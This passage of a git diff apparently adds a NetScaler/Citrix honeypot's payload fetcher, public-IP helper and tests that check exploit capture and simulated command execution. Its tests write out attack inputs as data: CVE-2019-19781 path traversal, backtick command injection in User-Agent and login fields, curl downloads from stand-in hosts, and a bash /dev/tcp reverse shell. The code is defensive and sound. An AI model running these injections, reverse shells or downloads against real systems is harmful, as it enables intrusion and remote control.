error: + if self.on_failure: + self.on_failure(error) + + def _run(self, url, context): + try: + self._fetch(url, context) + except Exception as error: + self._safe_emit('payload_fetch_error', url=url, error=type(error).__name__, **context) + finally: + self.slots.release() + + def _fetch(self, url, context, depth=0): + parts = urllib.parse.urlsplit(url) + if parts.scheme not in ('http', 'https') or not parts.hostname: + raise ValueError('blocked scheme or host') + port = parts.port or (443 if parts.scheme == 'https' else 80) + if port not in self.ports: + raise ValueError('blocked port') + addresses = self.resolver(parts.hostname) + connection = (_PinnedHTTPS if parts.scheme == 'https' else _PinnedHTTP)( + parts.hostname, addresses[0], port) + path = urllib.parse.urlunsplit(('', '', parts.path or '/', parts.query, '')) + try: + connection.request('GET', path, headers={'Host': parts.hostname, + 'User-Agent': 'CitrixGateway', 'Accept': '*/*', 'Connection': 'close'}) + response = connection.getresponse() + data = response.read(self.max_bytes + 1) + status, location = response.status, response.getheader('Location') + content_type = (response.getheader('Content-Type') or '')[:200] + finally: + connection.close() + self._safe_emit('payload_download', url=url, status=status, content_type=content_type, + truncated=len(data) > self.max_bytes, content=data[:self.max_bytes], **context) + # ponytail: only 3 redirect hops; raise the cap if a real payload chain needs more. + if location and status in (301, 302, 303, 307, 308) and depth < self.redirects: + self._fetch(urllib.parse.urljoin(url, location), context, depth + 1) diff --git a/public_ip.py b/public_ip.py new file mode 100644 index 0000000..5b7f4a6 --- /dev/null +++ b/public_ip.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python3 +"""Resolve this host's public IP so the viewer can hide operator traffic. + +Loopback/private addresses are ignored. Use `--loop --interval 1800` to run it as a +30-minute refresher; the viewer imports discover() directly and refreshes itself. +""" +import argparse +import ipaddress +import time +import urllib.request + +ENDPOINTS = ('https://api.ipify.org', 'https://ifconfig.me/ip', + 'https://icanhazip.com', 'https://1.1.1.1/cdn-cgi/trace') + + +def discover(timeout=6): + for url in ENDPOINTS: + try: + with urllib.request.urlopen(url, timeout=timeout) as response: + text = response.read(256).decode('utf-8', 'replace') + except (OSError, ValueError): + continue + for token in text.replace('ip=', ' ').split(): + try: + ip = ipaddress.ip_address(token.strip()) + except ValueError: + continue + if ip.is_global: + return str(ip) + return None + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--loop', action='store_true', help='keep refreshing') + parser.add_argument('--interval', type=int, default=1800) + args = parser.parse_args() + while True: + print(discover() or '', flush=True) + if not args.loop: + break + time.sleep(args.interval) diff --git a/test_auth_logging.py b/test_auth_logging.py new file mode 100644 index 0000000..e71142a --- /dev/null +++ b/test_auth_logging.py @@ -0,0 +1,38 @@ +"""Private auth detection must not change attacker-visible responses.""" +import http.client +import threading +from honeypot import Engine, Server + +rows = [] +engine = Engine(lambda event, **data: rows.append(dict(event=event, **data))) +server = Server(('127.0.0.1', 0), engine, serve_guest_files=False) +thread = threading.Thread(target=server.serve_forever, daemon=True) +thread.start() +responses = [] +try: + for _ in range(12): + conn = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3) + conn.request('POST', '/nf/auth/doAuthentication.do', 'login=fixture&passwd=synthetic', + {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': '203.0.113.9'}) + response = conn.getresponse() + responses.append((response.status, response.read())) + assert not any('brute' in k.lower() or 'rate' in k.lower() for k, _ in response.getheaders()) + conn.close() + assert len(set(responses)) == 1 + attempts = [r for r in rows if r['event'] == 'auth_attempt'] + assert [r['attempts_in_window'] for r in attempts] == list(range(1,13)) + assert all(r['peer'] == '127.0.0.1' and r['request_id'] for r in attempts) + alerts = [r for r in rows if r['event'] == 'brute_force_suspected'] + assert len(alerts) == 1 and alerts[0]['attempts_in_window'] == 10 + state = engine.session('127.0.0.1') + state.auth_started -= 301 + engine.auth_attempt(state, {'peer': '127.0.0.1'}, '/nf/auth/doAuthentication.do') + assert rows[-1]['attempts_in_window'] == 1 + other = engine.session('192.0.2.1') + engine.auth_attempt(other, {'peer': '192.0.2.1'}, '/nf/auth/doAuthentication.do') + assert rows[-1]['attempts_in_window'] == 1 +finally: + server.shutdown() + server.server_close() + thread.join(3) +print('PASS: private per-IP auth detection, spoof rejection, fixed-window reset, unchanged responses') diff --git a/test_capture.py b/test_capture.py new file mode 100644 index 0000000..e3cd0ef --- /dev/null +++ b/test_capture.py @@ -0,0 +1,75 @@ +"""Run: python3 test_capture.py. Proves every exploit attempt, command and payload is persisted.""" +import hashlib +import http.client +import json +import pathlib +import tempfile +import threading + +from honeypot import Engine, Server, extract +from evidence import Evidence + + +def main(): + workspace = tempfile.TemporaryDirectory() + evidence = Evidence(workspace.name) + rows = [] + + def sink(event, **data): + rows.append(dict(event=event, **data)) + evidence.emit(event, **data) + + engine = Engine(sink, delay=0, save=evidence.save) + server = Server(('127.0.0.1', 0), engine) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + + def request(method, path, body=None, headers=None): + connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3) + connection.request(method, path, body=body, headers=headers or {}) + response = connection.getresponse() + result = response.status, response.read() + connection.close() + return result + + try: + request('GET', '/vpn/../vpns/cfg/smb.conf') + assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows) + request('GET', '/../../etc/passwd') + assert any(e['event'] == 'exploit_attempt' and 'path-traversal' in e['signatures'] for e in rows) + request('GET', '/flash/nsconfig/ns.conf') + assert any(e['event'] == 'exploit_attempt' and 'config-read' in e['signatures'] for e in rows) + + payload = b'\x00\x01MZ-inert-capture-test\xff\xfe' * 100 + request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'}) + digest = hashlib.sha256(payload).hexdigest() + assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload + upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload') + assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'} + + assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \ + == 'curl http://198.51.100.9/a.sh -o /tmp/a' + value = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/cap.txt`;# X' + request('GET', '/', headers={'User-Agent': value}) + candidate = next(e for e in reversed(rows) if e['event'] == 'injection_candidate') + assert candidate['command'] == 'id>/netscaler/ns_gui/cap.txt' + engine.tick() + run = next(e for e in rows if e['event'] == 'simulated_command' and e.get('output', '').startswith('uid=')) + assert run['argv'] == ['id', '>', '/netscaler/ns_gui/cap.txt'] and run['cwd'] + assert any(e['event'] == 'virtual_file_write' for e in rows) + + journal = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()] + kinds = {e['event'] for e in journal} + assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate', + 'simulated_command', 'virtual_file_write'} <= kinds + finally: + server.shutdown() + server.server_close() + thread.join(3) + evidence.close() + workspace.cleanup() + print('PASS: exploit attempts, exact payload bytes and simulated commands are all persisted') + + +if __name__ == '__main__': + main() diff --git a/test_client_ip.py b/test_client_ip.py new file mode 100644 index 0000000..bae2eb8 --- /dev/null +++ b/test_client_ip.py @@ -0,0 +1,40 @@ +"""Run: python3 test_client_ip.py. Real client IP is trusted only from configured proxy hops.""" +import http.client +import threading + +from honeypot import Engine, Server +from trusted_proxy import forwarded_client + +assert forwarded_client({'CF-Connecting-IP': '8.8.8.8'}) == ('8.8.8.8', 'CF-Connecting-IP') +assert forwarded_client({'CF-Connecting-IP': '10.0.0.1', 'X-Forwarded-For': '1.1.1.1'}) == ('1.1.1.1', 'X-Forwarded-For') +assert forwarded_client({'X-Forwarded-For': '10.0.0.1, 9.9.9.9, 10.0.0.2'}) == ('9.9.9.9', 'X-Forwarded-For') +assert forwarded_client({'CF-Connecting-IP': 'not-an-ip'}) == (None, None) +assert forwarded_client({}) == (None, None) + + +def run(trusted): + rows = [] + engine = Engine(lambda event, **data: rows.append(dict(event=event, **data)), delay=0) + server = Server(('127.0.0.1', 0), engine, trusted_forwarded=trusted) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + try: + connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3) + connection.request('GET', '/', headers={'CF-Connecting-IP': '8.8.8.8', + 'X-Forwarded-For': '10.0.0.1, 1.1.1.1'}) + assert connection.getresponse().status == 200 + connection.close() + finally: + server.shutdown() + server.server_close() + thread.join(3) + return next(row for row in rows if row['event'] == 'request') + + +# Untrusted hop: the spoofable header is ignored and the socket peer is authoritative. +assert run(()).get('peer') == '127.0.0.1' +# Trusted hop (loopback stands in for the edge proxy): the real client IP wins, proxy is retained. +request = run(('127.0.0.0/8',)) +assert request['peer'] == '8.8.8.8' and request['client_ip_source'] == 'CF-Connecting-IP' +assert request['proxy_peer'] == '127.0.0.1' +print('PASS: forwarded client IP trusted only from configured proxies; spoofing rejected') diff --git a/test_honeypot.py b/test_honeypot.py new file mode 100644 index 0000000..915ee9b --- /dev/null +++ b/test_honeypot.py @@ -0,0 +1,184 @@ +"""Run: python3 test_honeypot.py (loopback only, no third-party dependencies).""" +import http.client +import hashlib +import json +import pathlib +import socket +import stat +import tempfile +import threading +import urllib.parse + +from honeypot import Engine, Server, MAX_BODY, MAX_PENDING, extract, simulate +from evidence import Evidence + + +def main(): + events = [] + workspace = tempfile.TemporaryDirectory() + evidence = Evidence(workspace.name) + def emit(event, **data): + events.append(dict(event=event, **data)) + evidence.emit(event, **data) + engine = Engine(emit, delay=0, save=evidence.save) + server = Server(('127.0.0.1', 0), engine) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + def request(method, path, body=None, headers=None): + connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3) + connection.request(method, path, body=body, headers=headers or {}) + response = connection.getresponse() + result = response.status, response.read() + connection.close() + return result + try: + assert request('GET', '/')[0] == 200 + # Benign local marker through documented login field; no real commands execute. + value = 'pitboss PPE unexpectedly died NSPPE;`id>/netscaler/ns_gui/probe.txt`;# X' + body = urllib.parse.urlencode({'login': value, 'passwd': 'synthetic'}) + assert request('POST', '/nf/auth/doAuthentication.do', body, + {'Content-Type': 'application/x-www-form-urlencoded'})[0] == 200 + assert request('GET', '/probe.txt')[0] == 404 # deferred until log pickup + engine.tick() + status, content = request('GET', '/probe.txt') + assert status == 200 and b'uid=0(root)' in content + assert any(e['event'] == 'virtual_file_write' for e in events) + # Public write-up names User-Agent as a log source; use its shape with a local harmless marker. + ua = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/ua-probe.txt`;# X' + assert request('GET', '/', headers={'User-Agent': ua})[0] == 200 + candidate = next(e for e in reversed(events) if e['event'] == 'injection_candidate') + assert candidate['source'] == 'header:User-Agent' and candidate['value'] == ua + assert candidate['peer'] == '127.0.0.1' and candidate['peer_port'] > 0 + assert request('GET', '/ua-probe.txt')[0] == 404 + engine.tick() + status, content = request('GET', '/ua-probe.txt') + assert status == 200 and b'uid=0(root)' in content + write = next(e for e in events if e['event'] == 'virtual_file_write' and e['path'].endswith('/ua-probe.txt')) + assert write['request_id'] == candidate['request_id'] and write['session'] == candidate['session'] + assert write['peer'] == candidate['peer'] and write['peer_port'] == candidate['peer_port'] + assert request('GET', '/../../etc/passwd')[0] == 404 + assert request('POST', '/', headers={'Content-Length': str(MAX_BODY + 1)})[0] == 413 + assert request('POST', '/', b'0\r\n\r\n', {'Transfer-Encoding': 'chunked', 'Content-Length': '5'})[0] == 400 + assert extract('ordinary login') is None + assert extract('pitboss: NSPPE-00 (12345) unexpectedly died') is None + state = engine.session('127.0.0.1') + with tempfile.TemporaryDirectory() as directory: + marker = pathlib.Path(directory) / 'must-not-exist' + simulate(state, f'echo harmless > {marker}', engine.emit) + assert not marker.exists() and state.files[str(marker)] == 'harmless\n' + simulate(state, 'curl https://example.invalid/payload', engine.emit) + assert events[-2]['event'] == 'outbound_attempt' + other = engine.session('192.0.2.1') + assert '/netscaler/ns_gui/probe.txt' not in other.files + engine.ingest(state, [('header:User-Agent', value)] * (MAX_PENDING + 5)) + assert len(state.pending) == MAX_PENDING + assert any(e['event'] == 'limit' for e in events) + payload = b'\x00\xffMZ-inert-test-fixture\r\n\x00' + assert request('PUT', '/sample.bin', payload, {'Content-Type': 'application/octet-stream'})[0] == 404 + digest = hashlib.sha256(payload).hexdigest() + artifact = pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin') + assert artifact.read_bytes() == payload + assert stat.S_IMODE(artifact.stat().st_mode) == 0o600 + multipart = (b'--testboundary\r\nContent-Disposition: form-data; name="file"; filename="../../escape.bin"\r\n' + b'Content-Type: application/octet-stream\r\n\r\n' + payload + b'\r\n--testboundary--\r\n') + assert request('POST', '/upload', multipart, {'Content-Type': 'multipart/form-data; boundary=testboundary'})[0] == 404 + upload = next(e for e in events if e['event'] == 'upload') + assert upload['filename'] == '../../escape.bin' and upload['evidence']['sha256'] == digest + assert upload['peer'] == '127.0.0.1' and upload['peer_port'] > 0 + assert not (pathlib.Path(workspace.name) / 'escape.bin').exists() + def raw_request(raw): + with socket.create_connection(('127.0.0.1', server.server_port), timeout=3) as connection: + connection.sendall(raw) + connection.shutdown(socket.SHUT_WR) + result = bytearray() + while chunk := connection.recv(65536): + result.extend(chunk) + return bytes(result) + raw = (b'POST /upload HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n' + b'Transfer-Encoding: chunked\r\n\r\n' + + hex(len(payload))[2:].encode() + b'\r\n' + payload + b'\r\n0\r\nX-Test: trailer\r\n\r\n') + assert b'404' in raw_request(raw).split(b'\r\n')[0] + wire_digest = hashlib.sha256(raw).hexdigest() + # Wait for finally-recorded evidence after the response has closed. + assert (pathlib.Path(workspace.name) / 'artifacts' / (wire_digest + '.bin')).read_bytes() == raw + assert b'200' in raw_request(b'CUSTOM / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n').split(b'\r\n')[0] + assert b'400' in raw_request(b'not-http\r\n') + partial = b'PUT / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 10\r\n\r\nabc' + assert b'400' in raw_request(partial) + partial_hash = hashlib.sha256(partial).hexdigest() + assert (pathlib.Path(workspace.name) / 'artifacts' / (partial_hash + '.bin')).exists() + writes = [e for e in events if e['event'] == 'virtual_file_write' and 'request_id' in e] + assert writes and writes[0]['peer'] == '127.0.0.1' + assert any(e['event'] == 'request' and e['request_id'] == writes[0]['request_id'] for e in events) + rows = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()] + assert all('timestamp' in row and 'time_ns' in row for row in rows) + tiny = Evidence(pathlib.Path(workspace.name) / 'quota-test', quota=3) + try: + tiny.save(b'abc') + try: + tiny.save(b'over quota') + raise AssertionError('quota not enforced') + except OSError: + pass + assert tiny.save(b'abc')['bytes'] == 3 # dedup still works at quota + finally: + tiny.close() + failing_store = Evidence(pathlib.Path(workspace.name) / 'stop-test', quota=1) + failing_server = Server(('127.0.0.1', 0), Engine(failing_store.emit, save=failing_store.save)) + failing_thread = threading.Thread(target=failing_server.serve_forever, daemon=True) + failing_thread.start() + try: + with socket.create_connection(('127.0.0.1', failing_server.server_port), timeout=3) as connection: + connection.sendall(b'GET / HTTP/1.0\r\n\r\n') + try: + connection.recv(1024) + except ConnectionResetError: + pass + failing_thread.join(timeout=3) + assert failing_server.capture_failed and not failing_thread.is_alive() + finally: + failing_server.shutdown() + failing_server.server_close() + failing_store.close() + # Hidden guest files still allow intake/execution and evidence capture, without a guest read. + server.serve_guest_files = False + assert request('GET', '/probe.txt') == (404, b'Not Found') # existing simulated file + class FakeBackend: + def __init__(self): + self.reads, self.uploads, self.executions = [], [], [] + def register_peer(self, peer): + assert peer == '127.0.0.1' + def read(self, path, context): + self.reads.append(path) + return b'existing-guest-file' + def upload(self, data, context): + self.uploads.append((data, context.copy())) + def execute(self, command, context): + self.executions.append((command, context.copy())) + fake = FakeBackend() + engine.backend = fake + engine.tick() # drain the earlier queue-limit fixture + assert request('GET', '/probe.txt') == (404, b'Not Found') + assert request('GET', '/')[0] == 200 and request('GET', '/favicon.ico')[0] == 200 + hidden_ua = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/hidden.txt`;# X' + assert request('GET', '/hidden.txt', headers={'User-Agent': hidden_ua}) == (404, b'Not Found') + candidate = next(e for e in reversed(events) if e['event'] == 'injection_candidate') + assert candidate['source'] == 'header:User-Agent' + engine.tick() + execution = next(item for item in fake.executions if item[0] == 'id>/netscaler/ns_gui/hidden.txt') + assert execution[1]['request_id'] == candidate['request_id'] + assert request('PUT', '/hidden.bin', payload, {'Content-Type': 'application/octet-stream'}) == (404, b'Not Found') + assert fake.uploads[-1][0] == payload and artifact.read_bytes() == payload + assert not fake.reads + engine.backend = None + print('PASS: simulated flow, binary/multipart/chunked evidence, source correlation, quotas, hidden guest files with intake preserved') + finally: + server.shutdown() + server.server_close() + thread.join(timeout=3) + evidence.close() + workspace.cleanup() + + +if __name__ == '__main__': + main() diff --git a/test_ingress_proxy.py b/test_ingress_proxy.py new file mode 100644 index 0000000..408b3ae --- /dev/null +++ b/test_ingress_proxy.py @@ -0,0 +1,50 @@ +"""Loopback-only PROXY metadata and binary stream regression.""" +import asyncio +from ingress_proxy import forward + + +async def test(): + received = [] + async def backend(reader, writer): + received.append(await reader.readline()) + payload = await reader.readexactly(5) + writer.write(payload[::-1]) + await writer.drain() + writer.close() + backend_server = await asyncio.start_server(backend, '127.0.0.1', 0) + async def ingress(reader, writer): + await forward(reader, writer, '127.0.0.1', backend_server.sockets[0].getsockname()[1]) + proxy = await asyncio.start_server(ingress, '127.0.0.1', 0) + reader, writer = await asyncio.open_connection('127.0.0.1', proxy.sockets[0].getsockname()[1]) + source_port = writer.get_extra_info('sockname')[1] + writer.write(b'\x00\xffabc') + await writer.drain() + writer.write_eof() + assert await reader.read() == b'cba\xff\x00' + assert received == [f'PROXY TCP4 127.0.0.1 127.0.0.1 {source_port} {proxy.sockets[0].getsockname()[1]}\r\n'.encode()] + writer.close() + proxy.close() + backend_server.close() + await proxy.wait_closed() + await backend_server.wait_closed() + + +asyncio.run(test()) +print('ingress proxy regression passed') + +import socket +from trusted_proxy import source +left, right = socket.socketpair() +try: + right.sendall(b'PROXY TCP4 192.0.2.10 192.0.2.20 12345 8443\r\nTLS') + peer, header = source(left, ('10.0.2.2', 123), '10.0.2.2') + assert peer == ('192.0.2.10', 12345) and left.recv(3) == b'TLS' + try: + source(left, ('192.0.2.99', 123), '10.0.2.2') + raise AssertionError('untrusted peer accepted') + except ValueError: + pass +finally: + left.close() + right.close() +print('trusted PROXY parser regression passed') diff --git a/test_network_capture.py b/test_network_capture.py new file mode 100644 index 0000000..21f8e13 --- /dev/null +++ b/test_network_capture.py @@ -0,0 +1,100 @@ +"""Offline tests: fixture sockets only; no external connections.""" +import json +import os +import pathlib +import socket +import struct +import tempfile +import threading +from unittest.mock import patch +from types import SimpleNamespace + +import network_capture as net +from evidence import Evidence + + +def run(): + for address in ['127.0.0.1', '10.0.0.1', '169.254.169.254', '192.168.1.1', '224.0.0.1', '0.0.0.0', '100.64.0.1', '192.0.2.1', '::1']: + try: + net.public_ip(address) + raise AssertionError(address) + except ValueError: + pass + assert net.public_ip('8.8.8.8') == '8.8.8.8' + with tempfile.TemporaryDirectory() as tmp: + net.STOP = pathlib.Path(tmp) / 'STOP' + peers = pathlib.Path(tmp) / 'peers.json' + peers.write_text(json.dumps(['10.0.0.1', '8.8.8.8', 'bad', '127.0.0.1', 134744072])) + peers.chmod(0o600) + actual_stat = os.stat(peers) + # Root ownership is mocked only for this unit check on unprivileged Macs. + with patch.object(net.os, 'fstat', return_value=SimpleNamespace( + st_mode=actual_stat.st_mode, st_uid=0, st_mtime=actual_stat.st_mtime)): + assert net.allowed_peers(peers) == {'8.8.8.8'} + evidence = Evidence(pathlib.Path(tmp) / 'evidence') + server = net.Server(('127.0.0.1', 0), net.Broker, evidence=evidence, peers=str(pathlib.Path(tmp) / 'absent')) + worker = threading.Thread(target=server.serve_forever, daemon=True) + worker.start() + original_connect = socket.create_connection + outgoing = [] + def fixture_connect(destination, timeout=None, **kwargs): + assert destination == ('8.8.8.8', 80), destination + outgoing.append(destination) + broker_end, fixture_end = socket.socketpair() + def echo(): + with fixture_end: + while True: + data = fixture_end.recv(16384) + if not data: + break + fixture_end.sendall(data) + threading.Thread(target=echo, daemon=True).start() + return broker_end + with patch.object(net.socket, 'create_connection', fixture_connect): + with original_connect(server.server_address, timeout=3) as client: + net.send_message(client, {'op': 'connect', 'ip': '127.0.0.1', 'port': 80}) + assert not net.read_message(client)['ok'] + with original_connect(server.server_address, timeout=3) as client: + net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 4444}) + assert not net.read_message(client)['ok'] + with original_connect(server.server_address, timeout=3) as client: + net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 80}) + assert net.read_message(client)['ok'] + payload = b'\x00malware-fixture\xff\r\n' + client.sendall(payload) + data = b'' + while len(data) < len(payload): + data += client.recv(1024) + assert data == payload + client.shutdown(socket.SHUT_WR) + assert client.recv(1) == b'' + assert len(outgoing) == 1 + server.shutdown() + server.server_close() + rows = [json.loads(line) for line in (evidence.directory / 'events.jsonl').read_text().splitlines()] + chunks = [r for r in rows if r['event'] == 'network_chunk'] + assert {r['direction'] for r in chunks} == {'guest_to_remote', 'remote_to_guest'} + for row in chunks: + assert (evidence.directory / row['artifact']).read_bytes() == payload + assert row['time_ns'] and row['connection_id'] + # DNS parser rejects malformed/compressed questions; AAAA returns no answer. + assert net.dns_reply(b'bad', ('unused', 0)) is None + question = struct.pack('!6H', 7, 0x100, 1, 0, 0, 0) + b'\x07example\x03com\0' + struct.pack('!HH', 28, 1) + reply = net.dns_reply(question, ('unused', 0)) + assert struct.unpack('!6H', reply[:12])[3] == 0 + # Capturing failure closes streams before further forward and persists STOP. + evidence.quota = evidence.used + failing = net.Server(('127.0.0.1', 0), net.Broker, evidence=evidence, peers='absent') + threading.Thread(target=failing.serve_forever, daemon=True).start() + with original_connect(failing.server_address, timeout=3) as client: + net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 80}) + assert client.recv(1) == b'' + assert net.STOP.exists() and failing.failed.is_set() + failing.shutdown() + failing.server_close() + evidence.close() + print('network capture offline checks passed') + + +if __name__ == '__main__': + run() diff --git a/test_network_live.py b/test_network_live.py new file mode 100644 index 0000000..77bffec --- /dev/null +++ b/test_network_live.py @@ -0,0 +1,148 @@ +"""Collector-only live regression; stop decoy-network first, restart it afterward. + +Both destinations are harmless in-process loopback fixtures. No external connections. +Exercises VM223 bash TCP reverse shell and HTTP download through the real guest relay. +""" +import hashlib +import json +import pathlib +import shlex +import socket +import subprocess +import tempfile +import threading +import time +from unittest.mock import patch + +import network_capture as net +from evidence import Evidence + +FIXTURE_IP = '198.51.100.10' + + +def run(): + if not pathlib.Path('/etc/decoy-collector').is_file(): + raise SystemExit('Run only in the dedicated collector VM222') + root = pathlib.Path(tempfile.mkdtemp(prefix='network-live-', dir='/var/lib/decoy')) + evidence = Evidence(root / 'evidence') + commands = b"printf 'DECOY_REVERSE_SHELL_OK\\n'; id; exit\n" + payload = b'\x00DECOY_HARMLESS_DOWNLOAD_FIXTURE\xff\r\n' + bytes(range(256)) + response = (b'HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\n' + b'Connection: close\r\nContent-Length: ' + str(len(payload)).encode() + b'\r\n\r\n' + payload) + captured = {} + failures = [] + listeners = {} + threads = [] + for port in (4444, 80): + listener = socket.socket() + listener.bind(('127.0.0.1', 0)) + listener.listen(1) + listener.settimeout(20) + listeners[port] = listener + + def serve(port): + try: + with listeners[port].accept()[0] as conn: + conn.settimeout(15) + data = bytearray() + if port == 4444: + conn.sendall(commands) + conn.shutdown(socket.SHUT_WR) + while True: + chunk = conn.recv(16384) + if not chunk: + break + data.extend(chunk) + else: + while b'\r\n\r\n' not in data: + chunk = conn.recv(16384) + if not chunk: + raise AssertionError('fixture request ended early') + data.extend(chunk) + if len(data) > 65536: + raise AssertionError('oversized fixture request') + conn.sendall(response) + captured[port] = bytes(data) + except BaseException as exc: + failures.append(exc) + + original_connect = socket.create_connection + original_public = net.public_ip + + def fixture_connect(destination, *args, **kwargs): + if destination[0] != FIXTURE_IP or destination[1] not in listeners: + raise AssertionError(f'unexpected destination: {destination!r}') + return original_connect(listeners[destination[1]].getsockname(), *args, **kwargs) + + def fixture_public(address): + return FIXTURE_IP if address == FIXTURE_IP else original_public(address) + + def ssh(command): + return subprocess.run(['ssh', '-o', 'BatchMode=yes', '-o', 'ConnectTimeout=5', + 'decoy-execution', command], capture_output=True, + timeout=30, check=True).stdout + + server = None + guest_file = '/var/tmp/decoy-network-live-' + root.name + try: + with patch.object(net, 'STOP', root / 'STOP'), \ + patch.object(net, 'public_ip', fixture_public), \ + patch.object(net, 'allowed_peers', return_value={FIXTURE_IP}), \ + patch.object(net.socket, 'create_connection', fixture_connect): + server = net.Server(('0.0.0.0', 19090), net.Broker, + evidence=evidence, peers=str(root / 'unused')) + threading.Thread(target=server.serve_forever, daemon=True).start() + for port in listeners: + thread = threading.Thread(target=serve, args=(port,), daemon=True) + thread.start() + threads.append(thread) + script = f'exec /bin/bash -i >& /dev/tcp/{FIXTURE_IP}/4444 0>&1' + ssh('/bin/bash -c ' + shlex.quote(script)) + digest = hashlib.sha256(payload).hexdigest() + got = ssh("curl --noproxy '*' --connect-timeout 5 --max-time 15 -fsS -o " + + shlex.quote(guest_file) + f' http://{FIXTURE_IP}/fixture.bin && sha256sum ' + + shlex.quote(guest_file)).decode().split()[0] + assert got == digest, (got, digest) + for thread in threads: + thread.join(5) + assert not thread.is_alive(), 'fixture did not finish' + assert not failures, failures + assert b'DECOY_REVERSE_SHELL_OK' in captured[4444] + assert b'uid=0(root)' in captured[4444] + assert captured[80].startswith(b'GET /fixture.bin HTTP/1.1\r\n') + deadline = time.monotonic() + 5 + while True: + rows = [json.loads(line) for line in + (evidence.directory / 'events.jsonl').read_text().splitlines()] + if sum(r['event'] == 'network_end' for r in rows) == 2: + break + assert time.monotonic() < deadline, 'broker streams did not finish' + time.sleep(0.05) + connections = {r['destination_port']: r['connection_id'] for r in rows + if r['event'] == 'network_connected'} + assert set(connections) == {80, 4444}, connections + for port, cid in connections.items(): + chunks = sorted((r for r in rows if r['event'] == 'network_chunk' and + r['connection_id'] == cid), key=lambda r: r['sequence']) + def stream(direction): + return b''.join((evidence.directory / r['artifact']).read_bytes() + for r in chunks if r['direction'] == direction) + assert all(r['forwarded'] and r['time_ns'] for r in chunks) + assert stream('guest_to_remote') == captured[port] + assert stream('remote_to_guest') == (commands if port == 4444 else response) + assert not server.failed.is_set() + finally: + if server is not None: + server.shutdown() + server.server_close() + for listener in listeners.values(): + listener.close() + try: + ssh('rm -f -- ' + shlex.quote(guest_file)) + finally: + evidence.close() + print(f'LIVE PASS: real guest reverse shell + binary download; exact bidirectional evidence at {root}') + + +if __name__ == '__main__': + run() diff --git a/test_payload_fetch.py b/test_payload_fetch.py new file mode 100644 index 0000000..b753880 --- /dev/null +++ b/test_payload_fetch.py @@ -0,0 +1,103 @@ +"""Run: python3 test_payload_fetch.py. Local fixtures only; no real outbound connections.""" +import http.server +import pathlib +import threading +import time + +from payload_fetch import Fetcher, extract_urls, public_addresses + +# Static guarantee: the fetcher has no way to execute or pipe anything. +SOURCE = (pathlib.Path(__file__).parent / 'payload_fetch.py').read_text() +for forbidden in ('subprocess', 'os.system', 'os.popen', 'eval(', 'exec(', '__import__', 'pty.'): + assert forbidden not in SOURCE, 'payload_fetch contains ' + forbidden + +assert extract_urls('curl http://evil.example/a.sh -o /tmp/a; wget https://x.example/b') == [ + 'http://evil.example/a.sh', 'https://x.example/b'] +assert extract_urls('echo hi | bash') == [] +assert extract_urls('curl http://evil/a|bash') == ['http://evil/a'] +for blocked in ('127.0.0.1', '169.254.169.254', '10.0.0.1', '192.168.1.1', '::1'): + try: + public_addresses(blocked) + raise AssertionError(blocked) + except ValueError: + pass + +PAYLOAD = b'\x00MZ-inert-download\xff' * 64 + + +class Fixture(http.server.BaseHTTPRequestHandler): + def log_message(self, *args): + pass + + def do_GET(self): + if self.path == '/redirect': + self.send_response(302) + self.send_header('Location', '/payload') + self.end_headers() + elif self.path == '/big': + self.send_response(200) + self.send_header('Content-Type', 'application/octet-stream') + self.end_headers() + self.wfile.write(b'A' * 4096) + else: + self.send_response(200) + self.send_header('Content-Type', 'application/octet-stream') + self.end_headers() + self.wfile.write(PAYLOAD) + + +def main(): + server = http.server.ThreadingHTTPServer(('127.0.0.1', 0), Fixture) + port = server.server_port + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + rows = [] + try: + fetcher = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)), + resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=1024 * 1024) + base = f'http://127.0.0.1:{port}' + ctx = {'peer': '8.8.8.8', 'request_id': 'req-1'} + + # exact bytes stored, correlated context preserved + fetcher._fetch(base + '/payload', ctx) + download = rows[-1] + assert download['event'] == 'payload_download' and download['content'] == PAYLOAD + assert download['peer'] == '8.8.8.8' and download['request_id'] == 'req-1' + assert download['status'] == 200 and download['truncated'] is False + + # redirects are followed through the same validated resolver + fetcher._fetch(base + '/redirect', ctx) + assert rows[-1]['event'] == 'payload_download' and rows[-1]['url'].endswith('/payload') + + # size cap marks truncation + small = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)), + resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=256) + small._fetch(base + '/big', ctx) + assert rows[-1]['truncated'] is 